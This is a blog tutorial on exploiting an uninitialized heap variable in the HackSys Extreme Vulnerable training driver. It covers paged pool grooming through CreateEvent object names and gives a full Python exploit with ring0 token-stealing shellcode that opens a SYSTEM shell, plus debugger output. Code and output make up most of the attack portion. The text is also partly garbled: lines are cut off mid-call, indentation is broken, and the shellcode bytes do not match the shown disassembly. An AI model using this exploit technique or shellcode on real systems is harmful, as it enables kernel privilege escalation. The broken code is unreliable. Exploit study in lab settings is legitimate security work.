Windows Kernel Exploitation Tutorial Part 7: Uninitialized Heap Variable

March 21, 2018  rootkit

Overview

In the previous part, we looked into an Uninitialized Stack Variable vulnerability. In this part, we'll discuss about another vulnerability on similar lines, Uninitialized Heap Variable. We'd be grooming Paged Pool in this one, so as to direct our execution flow to the shellcode.

Again, huge thanks to @hacksysteam for the driver.

Analysis

Let's analyze the UninitializedHeapVariable.c file:

```c
NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
    ULONG_PTR UserValue = 0;
    ULONG_PTR MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
            sizeof(UNINITIALIZED_HEAP_VARIABLE),
            (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));

        // Allocate Pool chunk
        UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
            ExAllocatePoolWithTag(PagedPool,
            sizeof(UNINITIALIZED_HEAP_VARIABLE),
            (ULONG)POOL_TAG);

        if (!UninitializedHeapVariable) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
            Status = STATUS_NO_MEMORY;
            return Status;
        } else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(PagedPool));
            DbgPrint("[+] Pool Size: 0x%llx\n", sizeof(UNINITIALIZED_HEAP_VARIABLE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
        }

        // Get the value from user mode
        UserValue = *(PULONG_PTR)UserBuffer;
    }
```
Big code, but simple enough to understand. The variable `UninitializedHeapVariable` is being initialized with the address of the pool chunk. And it's all good if `UserValue == MagicValue`, the value and callback are properly initialized and the program is checking that before calling the callback. But what if this comparison fails? From the code, it is clear that if it's compiled as the `SECURE` version, the `UninitializedHeapVariable` is being set to `NULL`, so the callback won't be called in the `if` statement. Insecure version on the other hand, doesn't have any checks like this, and makes the callback to an uninitialized variable, that leads to our vulnerability.
Also, let’s have a look at the defined _UNINITIALIZED_HEAP_VARIABLE structure in UninitializedHeapVariable.h file:

```c
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
    ULONG_PTR Value;
    FunctionPointer Callback;
    ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
```

As we see here, it defines three members, out of which second one is the Callback, defined as a FunctionPointer. If we can somehow control the data on the Pool Chunk, we’d be able to control both the UninitializedHeapVariable and Callback.

All of this is more clear in the IDA screenshot:

Also, IOCTL for this would be 0x222033.

### Exploitation

As usual, let’s start with our skeleton script, and with the correct Magic value:
Windows Kernel Exploitation Tutorial Part 7: Uninitialized Heap Variable - rootkit

https://rootkits.xyz/blog/2018/03/kernel-uninitialized-heap-variable/

Everything passes through with no crash whatsoever. Let's give some other UserValue, and see what happens.

We get an exception, and the Callback address here doesn't seem to be a valid one. Cool, now we can proceed on building our exploit for this.

The main challenge for us here is grooming the Paged Pool with our user controlled data from User Land. One of the interfaces that does it are the Named Objects, and if you remember from previous post about Pool Feng-Shui, we know that our CreateEvent object is the one we can use here to groom our Lookaside list:

```c
HANDLE WINAPI CreateEvent(
    _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
    _In_   BOOL bManualReset,
```
Most important thing to note here is that even though the event object itself is allocated to Non-Paged Pool, the last parameter, \textit{lpName} of type \textit{LPCTSTR} is actually allocated on the Paged Pool. And we can actually define what it contains, and it's length.

Some other points to be noted here:

- We'd be grooming the \textbf{Lookaside} list, which are lazy activated only two minutes after the boot.
- Maximum Blocksize for \textbf{Lookaside} list is 0x20, and it only manages upto 256 chunks, after that, any additional chunks are managed by the \textbf{ListHead}.
- We need to allocate 256 objects of same size and then freeing them. If the list is not populated, then the allocation would come from \textbf{ListHead} list.
- We need to make sure that the string for the object name is random for each call to object constructor, as if same string is passed to consecutive calls to object constructor, then only one Pool chuck will be served for all further requests.
- We also need to make sure that our \textit{lpName} shouldn't contain any NULL characters, as that would change the length of the \textit{lpName}, and the exploit would fail.

We'd be giving \textit{lpName} a size of 0xF0, the header size would be 0x8, total 0xF8 chunks. The shellcode we'd borrow from our previous tutorial.

Combining all the things above, our final exploit would look like:

```python
import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    spray_event = []
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0,

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    #Defining the ring0 shellcode and using VirtualProtect() to change the memory region attributes
    #And we can't have NULL bytes in our address, as if lpName contains NULL bytes, the length will be wrong
    shellcode = ("\x90\x90\x90\x90"
                "\x60"
                "\x64\xA1\x24\x01\x00\x00"
                "\x8B\x40\x50"
                "\x89\xC1"
                "\x8B\x8F\x00\x00\x00"
                "\x8B\xA4\x00\x00\x00"
                "\x8B\x80\x8B\x00\x00\x00"
                "\x2D\xB8\x00\x00\x00"
                "\xBA\x04\x00\x00\x00"
                "\x89\xC1"
                "\x89\xF8\x00\x00\x00"
                "\x89\xFF\x00\x00\x00"
                "\x61"
                "\xC3")
```
shellcode_address = id(shellcode) + 20
shellcode_address_struct = struct.pack("<l", shellcode_address)
print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_address))
success = kernel32.VirtualProtect(shellcode_address, c_int(len(shellcode)), c_int(0x40),
if success == 0x0:
    print "[+] Failed to change memory protection."
sys.exit(-1)

# Defining our static part of lpName, size 0xF0, adjusted according to the dynamic part and
static_lpName = "\x41\x41\x41\x41" + shellcode_address_struct + "\x42" * (0x40 - 8 - 4)

# Assigning 256 CreateEvent objects of same size.
print "\n[+] Spraying Event Objects..."
for i in xrange(256):
dynamic_lpName = str(i).zfill(4)
spray_event.append(kernel32.CreateEventW(None, True, False, c_char_p(static_lpName + dy
if not spray_event[i]:
    print "[+] Failed to allocate Event object."
sys.exit(-1)

# Freeing the CreateEvent objects.
print "\n[+] Freeing Event Objects..."
for i in xrange(0, len(spray_event), 1):
    if not kernel32.CloseHandle(spray_event[i]):
        print "[+] Failed to close Event object."
sys.exit(-1)

buf = '\x37\x13\xda\xb0'
bufLength = len(buf)
kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()),
print "\n[+] nt authority\system shell incoming"
Popen("start cmd", shell=True)
if __name__ == "__main__":
    main()
kd> g

***** HACKSYS_EVD_TOCTI_UNINITIALIZED_HEAP_VARIABLE *****
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+][+] Pool Chunk: 0xA80B93D0
[+][+] User Value: 0xBADD33D7
[+][+] UninitializedHeapVariable Address: 0x9D53A98
[+][+] Triggering Uninitialized Heap Variable Vulnerability
[+][+] UninitializedHeapVariable=Value: 0x00000000

UninitializedHeapVariable->Callback: 0x012ED1EC
Breakpoint 4 hit
HEVD!TriggerUninitializedHeapVariable+0x119:
9416ae83 ff5004 call dword ptr [eax+4]
k>
pool 0xA80B93D0
Pool page a8b93d0 region is Paged pool.
a8b93d00 size: 380 previous size: 0 (Allocated) Ntff
a8b93d38 size: 8 previous size: 8 (Allocated) CMNb (Protected)
a8b93d30 size: 20 previous size: 20 (Allocated) CMNb (Protected)
a8b93deb size: 8 previous size: 20 (Allocated) *Back

Owning component: Unknown (update pool tag.txt)
a8b93f80 size: 90 previous size: 8 (Allocated) CMNI
a8b93f50 size: a0 previous size: 90 (Free) SecId
a8b93f70 size: 80 previous size: a0 (Allocated) CMDa
a8b93f78 size: 8 previous size: 80 (Free) ObSq
a8b93f88 size: 68 previous size: 8 (Allocated) PICS
a8b93f98 size: 8 previous size: 68 (Free) ObNm
a8b93f90 size: 68 previous size: 8 (Allocated) PICS
a8b93f48 size: 8 previous size: 68 (Free) IoMn
a8b93f50 size: 68 previous size: 8 (Allocated) PICS

kd> dd a8b93c38 I54
a8b93c38 051f0601 6b635149 00000000 011ed1ec
a8b93c38 42421424 42421424 42421424 42421424
a8b93c60 42421424 42421424 42421424 42421424
a8b93c68 42421424 42421424 42421424 42421424
a8b93c70 42421424 42421424 42421424 42421424
a8b93c80 42421424 42421424 42421424 42421424
a8b93c90 42421424 42421424 42421424 42421424
a8b93ca0 42421424 42421424 42421424 42421424
a8b93cb0 42421424 42421424 42421424 42421424
a8b93cc0 42421424 42421424 42421424 42421424
a8b93cd0 42421424 42421424 42421424 42421424
a8b93ce0 42421424 42421424 42421424 42421424
a8b93cf0 42421424 42421424 42421424 42421424

kd> ut 011ed1ec
011ed1ec 90 nop
012ed1ed 90 nop
012ed1ee 90 nop
012ed1ef 90 nop
012ed1f0 60 pushad
012ed1f1 64a124010000 mov eax.dword ptr fs:[00000124h]
012ed1f2 64b4050 mov eax.dword ptr [eax+50h]
012ed1f3 69c1 mov ecx.eax
012ed1f4 689f8300000 mov ebx.dword ptr [eax+0F8h]
012ed202 ba04000000 mov edx, 4
012ed207 6b40b800000 mov eax.dword ptr [eax+0B8h]
012ed20d 2d08000000 mov ebx eax.08h
012ed212 399b04000000 cap dword ptr [eax+0B4h].edx
012ed218 75ed jne 012ed207 Branch
012ed21e 6b9f8300000 mov edx.dword ptr [eax+0F8h]
And we get our `nt authority\system` shell:

```
C:\Users\IEUser\Desktop>whoami
iel\ieuser
C:\Users\IEUser\Desktop>python uninitialized_heap_variable.py
[*] Pointer for ring0 shellcode: 8x12ed1ec
[*] Spraying Event Objects...
[*] Freeing Event Objects...
[*] nt authority\system shell incoming
C:\Users\IEUser\Desktop>
```

Posted in Kernel, Tutorial   Tagged Exploitation, Kernel, Tutorial, Uninitialized Heap Variable, Windows